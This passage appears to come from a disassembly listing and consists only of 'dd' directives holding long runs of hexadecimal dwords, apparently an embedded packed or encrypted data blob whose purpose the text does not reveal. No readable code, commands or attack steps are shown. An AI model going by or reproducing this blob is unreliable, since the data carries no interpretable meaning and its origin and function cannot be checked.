81A16504h, 0F9AE2167h, 5F2E3862h, 79414068h, 0CFFC5596h dd 0A2679500h, 24885931h, 7DDB2538h, 7AE02CCCh, 36D6700h dd 60E72661h, 68B70517h, 0BA4939h, 0D2C8FEA0h, 353C7A9Bh dd 4FCB0090h, 0FD3CC568h, 36B9005Ch, 63FC6B02h, 563DEAAAh dd 40330015h, 0DBCB71ACh, 0AEE1007Ch, 355BA5D5h, 6118F558h dd 66286032h, 0AF0D0096h, 8FFB4B6h, 9A076C1Bh, 5AB1F819h dd 138ACC41h, 0F7109DCh, 0E23AF278h, 169883ECh, 49C06FE0h dd 0F5BFDAA2h, 0FE2B0C58h, 0FB193188h, 0A5D9C100h, 5B525E72h dd 0F9EA1D7Dh, 63BF802Bh, 97DA96B8h, 5C408A03h, 35882Dh dd 32A23B39h, 0CEDF61Dh, 0CA05310Eh, 4065E339h, 2224F8E9h dd 0EAE31FFEh, 8DE0809Fh, 6853994Eh, 218440D0h, 2A300A5Ah dd 0DBC9052Ch, 0DD88028Ah, 91204C9Dh, 0E0AA28CAh, 33FE00CCh dd 0A829FF81h, 40C813D3h, 5B9B4326h, 0AB535900h, 5AD4CC31h dd 0B80C0044h, 0D9CAB512h, 3018A9C2h, 60282BDAh, 8B16088h dd 0B6F95915h, 0BBC65F00h, 195B8AE8h, 0D004001Eh, 3B556A53h dd 61DD5097h, 1F275643h, 71B5D05Fh, 0A173000Ah, 0E0B3A5F7h dd 618CF49h, 0F3993B88h, 73550E47h, 0F5CA0BBCh, 277DC0F8h dd 88317069h, 160A89ABh, 35B43E8h, 0BB347A78h, 9280E840h dd 5D0335B3h, 2BBEB2B8h, 174CC984h, 3E289081h, 4855ADF5h dd 0AE608AACh, 1696B051h, 41690007h, 1C3CBBADh, 3800C088h dd 1252F645h, 1DB110BEh, 7F08AE14h, 13B9C430h, 6E0EC0B6h dd 4675E39Dh, 426929CCh, 6BAC0060h, 0F1B405ECh, 10502463h dd 224B0094h, 0B24F3BBAh, 198980E3h, 6ECE28EAh, 31392A65h dd 3DA000C0h, 66482CD9h, 0C8017C5Fh, 101B0C7Eh, 24409E3Eh dd 503F1944h, 18914C3Ah, 112E8809h, 8F0F2B2Ah, 0C535C781h dd 0DB1E546Eh, 0AA41F200h, 0A0CE30D3h, 0B8297D38h, 0FC8693h dd 0F48598B2h, 0D6A3FF76h, 316ED900h, 80618C57h, 9E430049h dd 0E6AA2A2Bh, 48C633A1h, 51FE39h, 8D90C3C9h, 1736F4F3h dd 0BF9A9891h, 51049861h, 21101EAAh, 3D98C7E7h, 8281A97h dd 0C800BAA0h, 8D94BB5Bh, 7381038Ch, 0B3369CD2h, 0F48066C3h dd 0AC033F21h, 8B5C1655h, 92580C54h, 0B0481447h, 3207B705h dd 280BE35h, 3F249462h, 0D93E2E3Eh, 95846C85h, 6660410Eh dd 0CC279846h, 0DC735CF8h, 4F7A917Ch, 357B20h, 3B68ED19h dd 3041CDE9h, 612B5303h, 73D88F5h, 0BCC832D9h, 86279029h dd 0DF013B73h, 0A6E0EEA4h, 39D8FEACh, 47EE05Bh, 0D4E1B752h dd 4F2090E2h, 789AD197h, 39F3B50Ch, 7C9928h, 0CF8CEF8Ah dd 3EC3A559h, 23B51A00h, 0E3CA8546h, 0E930EE8Dh, 3716EC48h dd 0C6916B2Bh, 0F0A161D8h, 0B5C986F6h, 719584Eh, 8AF0F140h dd 0E7E340BEh, 0A898E4FBh, 921359C4h, 323A08Ch, 36D7DAF2h dd 16E00A1Dh, 0B3008C2Dh, 251AA32h, 605E9B5h, 0E13A17FEh dd 0DFA07919h, 1118CA57h, 0A2992288h, 1CB138h, 241CDB29h dd 230AB10Ch, 0D93D3477h, 82BD9700h, 60DD2BEh, 885BC080h dd 0AC0B41C3h, 0DDF24CD5h, 94E48606h, 2FFB4150h, 0B497BA0Bh dd 5024183Dh, 0B5B70954h, 0D4018BA4h, 483A5CBEh, 6E1E8098h dd 70C0481Ah, 294483EEh, 8AB118D5h, 36A5F9A8h, 0A4019EFAh dd 0D91E1CAFh, 0B0C58BCBh, 0D3292180h, 0D8F108ADh, 0D4322200h dd 0DBB2407Eh, 39E6043Fh, 95F9C1CBh, 34B5804Ch, 0E0926104h dd 6F6BE100h, 0E31772DDh, 39D90ECh, 3B63CABBh, 0F1026989h dd 0DA2B9AD5h, 0AB8A6391h, 9219183Ch, 6732594Fh, 0BF739900h dd 4B087F19h, 0A81209D5h, 100255E2h, 0F5232ECDh, 0D06053B8h dd 20E8AA16h, 80AF4F18h, 5004D9D4h, 8A08380h, 0DA073CB5h dd 0EB40A428h, 6043AD82h, 0B0E7327Ch, 0DD31C9E0h, 9300F814h dd 9D51DE44h, 13D142A7h, 182B96B5h, 5C332124h, 59C3A80Fh dd 20AFAA48h, 8E073111h, 0B06C0F2Fh, 0BC131A04h, 0E5D14E01h dd 0DC8879F5h, 23B31BFh, 0CFEE669Eh, 0C9E0853Ah, 9F91ED99h dd 0D9813838h, 1863C074h, 0D77A75h, 0E7355346h, 17281F12h dd 527D7300h, 0F50BA2C2h, 30EA724Eh, 0AA39B496h, 0B9C063E9h dd 0AD744C41h, 0ABDD0C26h, 391953BBh, 0DEB80254h, 80344138h dd 6771C3C4h, 5143D64Ah, 4C21CCE3h, 0A6B1C418h, 0C2A43B88h dd 0F1BBB612h, 6C1060F2h, 0E0604789h, 44DBF481h, 0D8A0F5FBh dd 0E0015C87h, 0AA2F96B4h, 0EC4852BBh, 80CCA5ADh, 2E78737Dh dd 0B306F670h, 32B89423h, 3A251230h, 6466107Ah, 4054163Dh dd 80B403CEh, 3A54EA13h, 2112BA13h, 51972D04h, 0FF9498C8h dd 389B8180h, 0BDAAF0A4h, 170B349h, 1723ECB6h, 7C40E484h dd 13960228h, 4F67D430h, 4740A410h, 68BBE65Ch, 0CCA54F24h dd 0C7E21940h, 343E3017h, 9529CA41h, 396D9F08h, 40749E47h dd 0FAD435DEh, 7C790A34h, 8BA18400h, 0B7DC3DCBh, 231E0B42h dd 0A4123916h, 1428C1h, 0E202240h, 8F173006h, 8B00A9EBh dd 0C3AB4634h, 0B34F3D0Ah, 6844ACA6h, 22C59540h, 5CB025DAh dd 4C15B498h, 0C7303E19h, 2D0099Ah, 0E6AA0DF2h, 0E780143h dd 5F8AA11Bh, 0D8D85D35h, 0EA01697Ah, 834FEFE2h, 64FE0B98h dd 0FD6E3CD0h, 7395CB00h, 2CCE24BBh, 0E9A31A00h, 9CB6A439h dd 305C0A58h, 45B8B4AAh, 20ACC425h, 9DC1ECA8h, 7798B605h dd 0AC300116h, 31AB3B7Bh, 39B944EDh, 1CB05045h, 2A038363h dd 179A0B28h, 4DDFA846h, 23120E72h, 15A08E32h, 7A4F52EBh dd 93826816h, 80555C03h, 189DE92h, 0C3F7DCABh, 0E8B5D618h dd 4B00B1EDh, 0AE4FF283h, 268CD3C1h, 881CB2D0h, 39925AECh dd 6F888020h, 34533A7Fh, 1900B2A0h, 98BE1CBh, 787B411Ch dd 441F0E1Ah, 0A68F324Fh, 841094CBh, 2400E37Ah, 0AE432CDBh dd 21051BAh, 0C3BC72B8h, 0D0C315C9h, 0E33BF176h, 0E02B81EAh dd 0AA8823CCh, 2D4E1980h, 0B8C47ADh, 0D8564600h, 697E725Dh dd 502409D1h dd 0E282A4E5h, 805AB4ABh, 4181DECCh, 17EC3B84h, 2EF2B4D1h dd 0EC3C6293h, 5C304010h, 13803C2Bh, 0F6B5DFE8h, 0B0D8B46Ch dd 27804498h, 6143A31Ch, 5B7B7A00h, 5B76277h, 41CC1288h dd 176C008Bh, 996F2DECh, 889058F0h, 24A210EDh, 35782582h dd 1F133C80h, 0F214DE49h, 814C6346h, 75CE12BFh, 6C00D421h dd 0FC9EECB5h, 0F9AF10AAh, 0F5250118h, 105F9F26h, 30916AD1h dd 80685CB0h, 940CDF02h, 0F7E8011Ah, 0E66ADBFDh, 0DCE6CEAAh dd 0EE7CD107h, 5BD0F38Fh, 0A52458h, 72B05C13h, 0D91D540Bh dd 5FCA3Eh, 0F493A281h, 0A0411519h, 6A76E88h, 0E73AE1D2h dd 0CF2E086Fh, 516FA42Eh, 20941328h, 190A3A9Eh, 7CF511AEh dd 0A6124140h, 4C149073h, 19680E5h, 0F56FB272h, 40E98469h dd 5040DC8Ah, 0A93F17F0h, 328FB000h, 5A5F3E90h, 0E8230021h dd 46C3861Eh, 2D518813h, 6C2344h, 0D06F0B07h, 1A9C3D8h dd 923C5F31h, 0E9D1C2E8h, 313BFD46h, 0A1B8C6h, 7B19EB0h dd 719A048Ah, 3E0100F0h, 0E6E1E20Eh, 85004916h, 0BBA67692h dd 0E13043A0h, 0F82C0032h, 846F00B8h, 49F5AA40h, 0D8AB4F29h dd 0C85FE06Fh, 0E758232h, 0E423E03Fh, 0BC4A1AE1h, 64228Bh dd 19D59958h, 3FDE3FAh, 40E49BB3h, 3AE90580h, 4C9C6233h dd 52007EC5h, 0A7F445C3h, 9A26A92h, 0A4A083B3h, 60E90482h dd 0D3A62520h, 59347E47h, 0E3008882h, 7FB013AEh, 0F4FF35EBh dd 550C5BCAh, 3977AFABh, 0E0B24C4Fh, 59480896h, 0BAB014BEh dd 0F4F42A70h, 8094925Ch, 522E93CBh, 0E5D00EA5h, 4897DB1Dh dd 8A492FB4h, 1260D8C0h, 0C5764E0h, 5C093F16h, 5E379618h dd 26E438D4h, 0B02A7037h, 0ED137768h, 981EDDC9h, 9898BD58h dd 523541F9h, 608F8A64h, 0F578FB00h, 9A02BCA1h, 2D27D4CBh dd 0DEF08170h, 0AC60B931h, 39F5889Fh, 0A6D04B07h, 1266CC6Bh dd 0A9883081h, 0D6AD6651h, 793AD5FEh, 0EBB88934h, 6A10315Eh dd 16CF6217h, 40DD2084h, 79FAE6D3h, 53FB00B7h, 4B18CD04h dd 0CC0AE531h, 0B0B5B828h, 496646h, 1E4FEAF3h, 477A5FAFh dd 0E843944Bh, 800DF9D4h, 0EEE2DCh, 0A8110FE6h, 42EFF0A2h dd 9659671Eh, 0DD0208ECh, 0E05EA0ACh, 1FFE388h, 4858BEA6h dd 21CA99E9h, 0F03C075Ch, 4CC509ECh, 0A9B0CC50h, 4C056640h dd 0DE805C34h, 0D530B445h, 819C9A54h, 0E13AC114h, 28888AF4h dd 3246003Ah, 968648B0h, 4980FB17h, 10C1CB9h, 0AF4EE03h dd 0D7F480F2h, 53822614h, 742C7DC4h, 61CC010h, 4D47D204h dd 6173FC81h, 1ADC0A04h, 0A81138h, 2DAE96F8h, 2C4A9EC2h dd 0A97264Fh, 44ACA5B3h, 0E99840C3h, 5E4714h, 0CEA93E6h dd 46CC37FFh, 56E89C1Ah, 0AC5849B1h, 3DBD060h, 38ABA50Ah dd 79228010h, 0E5900DCh, 7B271806h, 0B60E5AA2h, 404978EDh dd 0BDC2DABBh, 33564092h, 2D004DFEh, 98FFCF46h, 3D2FBEB4h dd 0B0DCB3AAh, 78ECBB80h, 0D890F454h, 0F6102517h, 34167E02h dd 48A04BB1h, 4A80F888h, 8FC99CF9h, 8598A700h, 5BFA277Bh dd 0F8C70081h, 0F6BFA457h, 0CC9CF44Bh, 652DFD40h, 0B7B60030h dd 0AF8DBA5Dh, 183D370Ch, 247A72DBh, 94A8B35Eh, 591BAC05h dd 0D0ACCC2Ah, 317A550Bh, 2E8987B8h, 0EBD27990h, 0EE7E0061h dd 7C81C956h, 758C6F8h, 537B072Ch, 0D035A84h, 0C080B44Ah dd 9688143Ah, 45F78FE8h, 0AF3D5260h, 9220B855h, 67809CDFh dd 0B0B70032h, 0EF0056C7h, 5F4E96E7h, 138F584h, 27CB05C6h dd 0D281542Ah, 32612449h, 347700C4h, 472BBD7Ch, 6FF8ADh dd 1F442769h, 52BC0929h, 0AB3CAE06h, 7962D7h, 0CC68AD88h dd 13BD067Bh, 309FF13Fh, 0C3EB51C1h, 0A31A0026h, 762F25DCh dd 0ACEE69D8h, 4C90C800h, 5EA87C9Ch, 1C57001Dh, 8ABAB938h dd 9500CE98h, 60253437h, 38842A9Ch, 0FEFC065Fh, 647B6Fh dd 2E87B899h, 0BF1A89F5h, 85B81FF2h, 0CA9D7700h, 0D271F88Ch dd 0BBCE377Eh, 352FC140h, 50F3D4E5h, 595A2630h, 73AEC61h dd 89114BF8h, 127AC071h, 0D70396B0h, 0CA9A1E06h, 0A856B8F9h dd 0A4580169h, 0CF130B0Ch, 0D6D1084h, 0FB320062h, 0C3AD9FDh dd 0EC05C1B8h, 5006D355h, 60A42B80h, 71F16C9h, 0F43400C5h dd 252C0E70h, 489D6930h, 335C9BEh, 5AC36047h, 19786B36h dd 0D9C032E0h, 990D2F2Bh, 109862B3h, 1480252Ah, 424FD820h dd 0C0286C0Ch, 301C60D9h, 57E96204h, 63004002h, 0A5FA7C21h dd 0E8D3A256h, 1F47849h, 0E742F5EEh, 0F0BF2A50h, 5F006FC6h dd 3873841Dh, 31EA8CD6h, 28882D68h, 1891801Ch, 44EF1554h dd 76350065h, 48873AAAh, 0DC984D5Fh, 0F283393Fh, 0B03194A8h dd 0D6FC23Ah, 0B9CBFDCDh, 7B357F0h, 2DD3CF38h, 6851708Ch dd 0BBB0B244h, 0D2E73D04h, 83E815h, 0D4793830h, 99A0B501h dd 81937437h, 5A7ABF38h, 59816626h, 35121CCBh, 0FEE0E434h dd 3AA27200h, 0B19D6C8Eh, 9E7706BDh, 3074D0AEh, 326FFC02h dd 80E88334h, 0A92C3858h, 83B6163h, 8035286Fh, 10A2E781h dd 3327A4Dh, 8CDD1FF2h, 390D86EDh, 590C1DBDh, 84DECE0h dd 8ACA2DD2h, 0A469CE0Ah, 64889680h, 362B9Bh, 0E11DBF3Ah dd 2818DFB7h, 0D0B57E00h, 8DF7C2F6h, 0EA84116Ah, 26607FC3h dd 0A1EB7A89h, 18830266h, 0BFB39E69h, 0CF290C48h, 0E348C850h dd 0EA807891h, 0BE82988Ch, 0C9F8B4h, 4F3B97FAh, 9CBD5BDCh dd 0CC77F900h, 3E0D63Eh, 0A24900FFh, 0C2B62ACAh, 45782E6Dh dd 57C5B10Ah, 1F01442Bh, 673BBBD0h, 2C30D0E7h, 88CE30F3h dd 0E12D8A81h, 8F040E00h, 9A954A58h, 9473507Ah, 0A09B146Bh dd 2B1BB42Dh, 37C8510Fh, 660046E5h, 986BADD5h, 0CB8480Ah dd 87CD961Ch, 85005859h, 680349A4h, 2051F6Fh, 8B3AFDB6h dd 1C64041Dh, 31C0CE7Bh, 0A71674CFh, 49101BFh, 11C6671h dd 9E144258h, 99E6ED20h, 78C00C8h, 203F5D2Fh, 0B8022BE4h dd 34CF866Dh, 9C9E0133h, 0F8B849BEh, 23E11C5Dh, 802815E8h dd 74200C8h, 3F1C372Bh, 6D38A05Bh, 7E80832Dh, 4E037FCAh dd 0FE7544C0h, 88A0AFE0h, 486C9516h, 0F5384C78h, 0CF007969h dd 0E78AB05Ah, 0DC705E09h, 0CB43126h, 0C307DF9h, 0FD27E01Dh dd 0FD704Ch, 3C22E6BBh, 273A371h, 4C5A900h, 5FE5A058h dd 9D324003h, 0F13F3700h, 0EB832A80h, 9EB1C360h, 0F9295698h dd 0FB00A025h, 631E537Ah, 0D37A0Fh, 575105A0h, 9869066Bh dd 0A5C2BD14h, 3FAC22E0h, 49681C0Ch, 12F51298h, 0CD5C001Ch dd 0CAB2C405h, 43F65B17h, 8154DB09h, 9FFE5E58h, 6B06B423h dd 0B12225AAh, 0B4F430Bh, 7C80754Ch, 1792CD3Fh, 9B8D2A0Fh dd 507E6CAAh, 689A000Ch, 6741A31Eh, 696328BCh, 3BBB3A79h dd 0CC9FFB91h, 0E8881CDAh, 9C6720A8h, 12BF4E44h, 256AC0Ah dd 7407A7BCh, 0D4F6A400h, 0E2181DFFh, 0BD3C458Eh, 60448168h dd 40AC490Dh, 1D9F2908h, 4467013Ch, 11D9CE81h, 3BDB020h dd 8F8A4C6h, 803B6F00h, 56E9CC32h, 89430002h, 3EDD10CAh dd 7501D1AEh, 3BA24F39h, 0CC527682h, 3121205Ah, 0C90036CFh dd 0A303AC37h, 5783B1h, 0A2B0A1A0h, 7C98479Dh, 0E1BD6B16h dd 0D3A90C07h, 1D875100h, 506D5003h, 562388BBh, 94EC2F01h dd 9DAF2544h, 0B01CB427h, 0AE49400Dh, 0F1ECB7BAh, 6C252E18h dd 0AFB129h, 2F099793h, 0A9ECD008h, 25A4161Fh, 9020D5h dd 0E9618E27h, 1A0BC86h, 28F4C31Ah, 0F0E61E01h, 0DE03871Bh dd 51D5220h, 0CFE9245Eh dd 0BDC740A8h, 7300B8A8h, 7C8DCA8Ch, 1EFFD32Ch, 5D0445AFh dd 0E198FEAEh, 1D28316Ch, 0AA2E79C2h, 7EE05D26h, 21007B65h dd 552B4A75h, 7E7E58Ah, 386C1CF8h, 316BD2B0h, 1DF00C4Bh dd 0CE882B39h, 0B459C010h, 9DD49314h, 7E539E00h, 61755A82h dd 8EF71687h, 8C1E0244h, 44841BEBh, 0E02A4E21h, 326BA9DAh dd 1E6400E2h, 40C64DB8h, 0E1017D54h, 0D2225387h, 3187863Ah dd 998D6529h, 0F866AB00h, 642E44B1h, 0F660104Ah, 1918E38h dd 0BEC908D3h, 87272876h, 1ACDD71h, 0CED0A701h, 79006C72h dd 573BB93Dh, 0C2B05AC9h, 80374B05h, 60CC85DBh, 4F528865h dd 0B3341E00h, 92AB9562h, 52700DAh, 3098FBD3h, 4C5C58C2h dd 0B073C96Ch, 7FC4F5A0h, 4C257992h, 98500431h, 6C8C8A20h dd 0C41ECD29h, 1100B1C1h, 5D25D92h, 0F5430BAEh, 0FCA0A3EEh dd 0CD3EC75Ch, 5EF61D03h, 79190260h, 6E3A3749h, 5F18C581h dd 495B1EBCh, 0E00185AAh, 48B18057h, 0F6005AACh, 55CB3459h dd 306C51h, 0A5D7A0D6h, 17610624h, 0B24A5Ch, 3932BA5Eh dd 0C31ACFA4h, 7B3AF459h, 2033F7C0h, 0FA215800h, 0AF0AC1B4h dd 59900FFh, 42BE9645h, 0A82838D3h, 60B18031h, 4ABAAD01h dd 77F40B19h, 0CD8603FAh, 45BE7212h, 0F0F8A5ABh, 0EC015ECCh dd 7CF532DFh, 146016DCh, 0C81C04Ch, 9E677AE8h, 769CB513h dd 91D35020h, 11BF0F45h, 374AC4D2h, 25424084h, 489B8328h dd 4C4FC983h, 27DEF007h, 0A4B01C5h, 0E6769195h, 65CED9h dd 0FFE8BB00h, 7C53AEDEh, 610261FBh, 548A8F9Eh, 9958C2ACh dd 71B2823h, 0A2F92B81h, 805719D9h, 5731EF55h, 8738942Ah dd 10B7C78Ah, 6D25AE8Dh, 0FC90D900h, 0EF54A875h, 5390C40Dh dd 0FC2C8D80h, 4500C960h, 0E5BDAE5Dh, 0C06FCF13h, 7F49AA91h dd 0AD1DB982h, 0D54001F5h, 6127390Dh, 14717745h, 84B55E76h dd 0B1E8830Dh, 62F821B1h, 0BAF509B4h, 0ED3C05ACh, 25BDB088h dd 0BC2726D3h, 0BBB60B0h, 0EC0EDE12h, 3CD21992h, 4135C009h dd 0C9319E88h, 609451A4h, 0D458FB5Dh, 0DC19DB0Ah, 8160B0FDh dd 2BFC7F2h, 56EDC6F8h, 0A4469D80h, 0DB88ACBBh, 4600A39h dd 883B44A4h, 0C4000670h, 0A0D92C32h, 7385BD80h, 0D0B3029Ch dd 740E3DF1h, 11339441h, 71915ECAh, 0E3831CBCh, 313570A2h dd 90086FC6h, 8432CDh, 1F864E45h, 803E79h, 1498EDB7h, 8FD9DAD5h dd 9A000FF2h, 0CD357412h, 0D6EC5Bh, 2A3295B2h, 45671F1h dd 11856B0Fh, 90305283h, 0A25EBAh, 51E80FF5h, 3F70AC58h dd 7625CF7Fh, 0D1F022B0h, 89EC0A69h, 7C63CC85h, 0CAA0C480h dd 0B3BE3700h, 2498EFAh, 0F8C1FA38h, 70BD28B1h, 298844F4h dd 50811C91h, 89D23C76h, 0E513ECh, 974306ACh, 0D5589EA6h dd 38D6B405h, 0E80469A9h, 68D209FEh, 0E9001631h, 0B524029h dd 1F98B0C9h, 41484C71h, 0AC05FD3Dh, 68C9A982h, 1689F484h dd 85EE60D1h, 3875191h, 2E42561Fh, 420CF10h, 34C55F5Ah dd 8C21AF3Bh, 943D39D8h, 0C4E880D9h, 27C7DC2Dh, 87D12A1h dd 2C7C01CDh, 30F48A01h, 50913A10h, 583B3C00h, 0D8D363h dd 0B02749Bh, 0A92B9147h, 3F37541Ah, 4C66F8h, 0F689DAD7h dd 1E5AED06h, 0F3F49524h, 0B848FC17h, 0A4F18082h, 15C6A3DBh dd 4413CE7Ah, 830F61DDh, 8C20F63Ch, 0E8FCC4FEh, 4DD20020h dd 0AF635BC2h, 19036CC9h, 0A3DE09E6h, 0D8D8B5DCh, 0E1B89406h dd 0F8AFE9D0h, 1401E5DBh, 1F0FB8EDh, 60E00615h, 0EC1C5C25h dd 0AABD3EC8h, 9B009C64h, 0C65373F0h, 0CBB5C4h, 381A6895h dd 0A6423CD7h, 0CD373603h, 0FAA2584Eh, 0E3B89326h, 357FC892h dd 38600C3h, 1F0DBAB9h, 7028AB3h, 7934BFADh, 8398E85Eh dd 2CF891E1h, 0F81001CCh, 335EDA28h, 394F07CCh, 99C193FDh dd 0E630D3D8h, 0A7A4A85h, 14CD14h, 9E3CB5EDh, 0F33B474Bh dd 0DC4D0ADDh, 6508C04Ch, 0EC830475h, 2530E786h, 27ACA469h dd 0C68C8h, 34A29399h, 0B264C010h, 7C12C879h, 0EC1E356Bh dd 5BCC2765h, 2A559DC1h, 0B5003472h, 0ABCE18F7h, 5144D063h dd 2DAA13BDh, 0BFE7F0E1h, 5CD0A048h, 69021190h, 96DE050h dd 0D233ECD8h, 83265040h, 0BC20F44Eh, 9E3ED4h, 0BE05CF35h dd 4FE0D27Ch, 194C9F48h, 0F1089CCDh, 4C83E360h, 0BD8C50EAh dd 534D56D2h, 6D04840h, 182A365Eh, 0F6A024B9h, 0BA5F006Fh dd 43769F85h, 48B04F5Ch, 7E15C0D8h, 58D0126Bh, 0EE028B4Dh dd 0CEBD3350h, 4B0108E4h, 0C12FADDFh, 49E070B3h, 27BF1FB7h dd 2B4440FDh, 0FF532397h, 7028189Ah, 0DC7B4028h, 9BA9CA00h dd 0E4B90850h, 0FB1C1663h, 0E0788826h, 0F8C0D0ABh, 35002F4Ch dd 0D28D353h, 5CAF3A34h, 0A427D872h, 0E1730410h, 88CC8D1Fh dd 0ECC0DB1Fh, 8117C9EBh, 0BBF0287Fh, 702650C4h, 0BC430173h dd 0F9A3A274h, 123C71CDh, 0E31098C0h, 4A570B17h, 0A090813Ah dd 951D11DCh, 0F5077C7Eh, 0B36031F7h, 30BDB619h, 1529543Bh dd 0EB0E11C3h, 208A4AD5h, 8B948820h, 0A840030Fh, 82EC8CDDh dd 1A286918h, 3D8875F9h, 1380354Dh, 5E91EE2Dh, 849E8027h dd 9C26F543h, 7B00A4h, 66D58175h, 6D2CF15Bh, 9E410902h dd 90CED9E1h, 6DB89A0h, 52506FA7h, 16034985h, 2DE826F7h dd 0E0CCD474h, 0CAB9008Ch, 81FE024Ch, 8FF80DF3h, 0D3CCAF12h dd 1DE42CC8h, 0FE70B55Fh, 98C3B000h, 0C04585A8h, 0A11C7302h dd 0D0D6D78Fh, 0F5BE1964h, 603779D1h, 6700025Ch, 0B9133645h dd 278FC5Eh, 0A09598DDh, 70CC9E52h, 2C5841EBh, 3DD19C63h dd 0A034BA4h, 98352862h, 1275F737h, 9D3551Ah, 0A8003D78h dd 0FEE8316Dh, 389ECE22h, 0EE484A81h, 1B0E7E00h, 0ECC56636h dd 0A3F3F906h, 1C29B2CEh, 7C1C1ADDh, 59B9BA81h, 0DDF36CDAh dd 1FB02206h, 0D90E30E0h, 0A31CA089h, 616B4731h, 1E607038h dd 10D0294Bh, 284693Bh, 0BF374132h, 0B7F0132Ch, 0B09E12B6h dd 466888EBh, 0A52E6B13h, 56F33805h, 84422784h, 20612DCAh dd 3A054814h, 13B6E0Fh, 1B15A3C9h, 4BF4C1DCh, 0BB3161D8h dd 82A39D74h, 57C95F9Ah, 2D44BC61h, 0AFC3C0D4h, 4050F2h dd 174953A5h, 4839ED04h, 0FACB7302h, 0C07F9580h, 827563D0h dd 0ED0068D9h, 0BF08D746h, 98CC0072h, 306224EAh, 330996E3h dd 0E08576ACh, 36B7180h, 43024DD9h, 2D902AA2h, 6CBCCDCFh dd 0A0966540h, 8CD0127Fh, 9D5488EDh, 0CE8A1CB9h, 0B10A0CA4h dd 4BA09Fh, 200C3C7Ch, 356CA024h, 0A8700C5h, 0F8C39089h dd 273D1FE3h, 2FCD00F1h, 4646914h, 5EC80386h, 0A71596E2h dd 3C26B124h, 0ED6ABC40h, 6EEA00F4h, 0DAF0C28Fh, 0FE0A52A7h dd 4CBFB299h, 1898B420h, 9B9EBA0Ch, 9E251955h, 72888F3Ch dd 0B48DF1A0h, 73FE1552h, 705D0803h, 41CDAh, 31BA8431h dd 0D5F6A5C8h, 57F9A207h, 0C500D4B4h, 5A8CCBA0h, 1C9021EAh dd 156C3201h, 9DFC1F60h, 8CDABCC3h, 16C97CEFh, 883A1D42h dd 717CA054h, 6C20F65Eh, 0B6CFA5D6h, 6C98078h, 0D73B27F8h dd 0A47B2E1Dh, 7D415059h, 0D134D0h, 0AE619F4Ch, 9CD81126h dd 6F75ED00h, 0DF735C83h, 0CF142EAFh, 0D68B4200h, 1F80D48Eh dd 39045598h, 18F010C1h, 3078F9CDh, 1D38405Bh, 0C1D43B03h dd 909032F0h, 57AC2600h, 0FDD3DE75h, 806CB153h, 0D59181AAh dd 0B900A0D6h, 0A967F611h, 31DE6B04h, 0F7408315h, 0E8C0304Bh dd 15B9844h, 0A08E306Bh, 336F7A99h, 0F8CD0074h, 2363E6ADh dd 96D81C04h dd 1D1F8391h, 2AB0BEA6h, 0BD126905h, 0AC099F7Eh, 7D60C25Ch dd 7CC85562h, 0C18A81EBh, 4ED28FC0h, 7DB009Ch, 620D8C8Ah dd 501F103h, 0EE632E8Eh, 8C501ADFh, 3565116h, 0BEE9F40Ah dd 0B0C4E632h, 0A496F500h, 0D1200D40h, 89761870h, 0BA55317Ch dd 3E1DA014h, 487380F8h, 0F063FE29h, 3CB49842h, 61806D03h dd 0A95D4AC9h, 0BB16C61Ch, 3713B6BDh, 0C131E8D0h, 4698003Dh dd 273BFE74h, 0F2006AD8h, 42E79A07h, 908A459h, 0CDE458AFh dd 242A5C00h, 7F0023BFh, 2BCC3EC7h, 265ED0h, 0FAFCD350h dd 68F60DEFh, 0A8AE9E18h, 0BEE283A1h, 0E41650CCh, 49912C00h dd 9C1B2553h, 565000DAh, 630FA29h, 130093A6h, 60A43436h dd 0F2376DE1h, 40C2034Eh, 845D3056h, 28C421DDh, 4B598034h dd 9C8B1C54h, 0BD7D00B7h, 37255D26h, 4DB0078Eh, 0B380E0BCh dd 1DC3A2CFh, 51C4BC01h, 58A7FCD3h, 0E6C31F00h, 26E23B55h dd 899CA86Dh, 97CE005Fh, 0B7538DFDh, 0DF1631D4h, 5888A3FCh dd 0C27D0001h, 1D896A5Ch, 264CCD30h, 7B5080F4h, 140ECFFh dd 698A014Eh, 0E8B8CCD2h, 5F00AAC8h, 64171EE2h, 272B8575h dd 9C83F883h, 0A11780E3h, 497969Eh, 0F859F5C6h, 0FD650732h dd 0C1363B19h, 223A0C86h, 0E5FE7250h, 6AD53500h, 5784ED1Ah dd 8F310011h, 0C62C2D26h, 0CB174BEEh, 900874F6h, 0B49F818Eh dd 0D09B04E5h, 1C007A19h, 5F7C92ACh, 0F283F596h, 60285C69h dd 0C0679887h, 0CA8D3C60h, 0A7592000h, 3F9A3312h, 2B4C126Bh dd 3B600EBBh, 0CE871F71h, 56FBD600h, 4C681C5Ch, 50849878h dd 86ECB43Bh, 0C52D171Ch, 0F01299C0h, 7D62BAF2h, 8CF41C8Dh dd 90E196E0h, 30D4BD98h, 8480D92Eh, 17D20960h, 6EE4044Bh dd 808370D6h, 0DFDB87B9h, 0A1A4A05Ch, 0A04094Ch, 45BCE0C0h dd 73502038h, 0D80042AFh, 0E9261EECh, 0A43BB6BCh, 0EFF900B8h dd 44C0204Bh, 0BE1F08FDh, 0F9AEB67Ch, 0D8D44900h, 96A6E1Ch dd 0F27A21A2h, 64F06088h, 0A4E0339Ch, 0ECC03054h, 345869FEh dd 20B79B13h, 0C06888h, 0EF669022h, 11B3A0B4h, 1D57D00Bh dd 195C993Fh, 0B9144208h, 7C9C4D7Eh, 93BC054Ch, 0C5FFEC00h dd 425087Ah, 56AE909Ah, 8EFCA07Eh, 0EA052B07h, 6811F79Fh dd 398052BDh, 0F5C4992Ah, 400FB92Eh, 6045311Fh, 3F23EEF4h dd 0CFB200E0h, 7365E226h, 0CAA10E50h, 0F77C3058h, 125EEC3Ch dd 6820CF16h, 1EA22C53h, 45706399h, 0AE33727h, 45F47DF6h dd 95B82052h, 27024A4Dh, 0D5F9E68Bh, 126B6038h, 0ECD33BFFh dd 536CC085h, 8484F41Dh, 492B5637h, 0C23EC881h, 6FF18761h dd 47803038h, 29F6976h, 2B542A12h, 0E091EC93h, 0E87EF46Dh dd 315D1733h, 99F4005Ah, 5FFB5056h, 6F1A3205h, 60C0A5D2h dd 58E2D65Ch, 4DC0B455h, 0E66E1062h, 0DCFF8100h, 0DFBA91CBh dd 5E920BF7h, 8E803CFAh, 4571368h, 2026752Fh, 556E084Ch dd 257A1294h, 1C0CA0B8h, 9C470745h, 0F44463D7h, 0BD0044ADh dd 8C9C0B3h, 90C7B194h, 0A0F0F360h, 98BC2D45h, 0B814E7D8h dd 0F5430004h, 84730456h, 248551EBh, 2A1DA820h, 384232Bh dd 18379651h, 85B8F6ACh, 691EC64Fh, 0B7809310h, 